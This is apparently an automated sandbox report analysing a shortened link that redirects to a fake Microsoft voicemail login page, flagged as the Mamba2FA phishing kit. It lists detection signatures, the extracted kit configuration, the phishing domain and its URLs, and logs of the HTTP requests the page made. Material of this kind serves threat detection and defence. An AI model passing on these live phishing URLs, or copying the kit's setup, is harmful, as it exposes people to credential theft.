Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://t.ly/ShNFU

Overview

General Information

Sample URL:	https://t.ly/ShNFU
Analysis ID:	1558095
Infos:

Detection

HTMLPhisher, Mamba2FA

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Found malware configuration

Yara detected HtmlPhish10

Yara detected Mamba 2FA PaaS

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid 'forgot password' link found

Invalid T&C link found

Classification

×

Process Tree

System is w10x64

chrome.exe (PID: 4852 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2872 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2016,i,9354642657652091617,14615780449319768954,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6364 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://t.ly/ShNFU" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

Threatname: Mamba2FA

{"sv": "o365_1_voice", "rand": "ejlhRzE=", "uid": "USER30102024U00103006"}

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.0.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.2.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 1 entries

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://t.ly/ShNFU

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Found malware configuration

Source: 1.0.pages.csv

Malware Configuration Extractor: Mamba2FA {"sv": "o365_1_voice", "rand": "ejlhRzE=", "uid": "USER30102024U00103006"}

Phishing

AI detected phishing page

Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]

Joe Sandbox AI: Score: 7 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The provided URL 'veselectrical.com' does not match the legitimate domain for Microsoft., The URL 'veselectrical.com' does not contain any recognizable association with Microsoft., The presence of input fields such as 'Email, phone or Skype' is typical for Microsoft services, but the domain does not match., The domain 'veselectrical.com' appears unrelated to Microsoft and could be a phishing attempt. DOM: 1.2.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Yara detected Mamba 2FA PaaS

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]

HTTP Parser: Number of links: 0

Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]

HTTP Parser: Title: Voice Mail does not match URL

Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]

HTTP Parser: Invalid link: Forgot password?

Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: Invalid link: Terms of use
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: Invalid link: Privacy & cookies
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: Invalid link: Terms of use
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: Invalid link: Privacy & cookies
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: Invalid link: Terms of use
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: Invalid link: Privacy & cookies

Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]

HTTP Parser: <input type="password" .../> found

Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: No favicon
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: No favicon
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: No favicon

Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: No <meta name="author".. found
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: No <meta name="author".. found
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: No <meta name="author".. found

Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: No <meta name="copyright".. found
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: No <meta name="copyright".. found
Source: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.43:443 -> 192.168.2.4:49778 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: t.ly to https://veselectrical.com/m/?c3y9bzm2nv8xx3zvawnljnjhbmq9zwpsafj6rt0mdwlkpvvtrvizmdewmjaynfuwmdewmzawng==n0123n[email]

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.43
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.43
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50

Source: global traffic	HTTP traffic detected: GET /ShNFU HTTP/1.1Host: t.lyConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL] HTTP/1.1Host: veselectrical.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /m/jsv.js HTTP/1.1Host: veselectrical.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://veselectrical.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://veselectrical.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /m/jsv.js HTTP/1.1Host: veselectrical.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: veselectrical.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://veselectrical.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/02/cropped-381910826007-32x32.jpg HTTP/1.1Host: veselectrical.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: aXBwXzE1NS45NC4yNDEuMTg3=none
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://veselectrical.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://veselectrical.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://veselectrical.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://veselectrical.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/02/cropped-381910826007-32x32.jpg HTTP/1.1Host: veselectrical.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: aXBwXzE1NS45NC4yNDEuMTg3=none
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w3css/4/w3.css HTTP/1.1Host: www.w3schools.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://veselectrical.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://veselectrical.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://veselectrical.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/webfonts/fa-brands-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://veselectrical.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
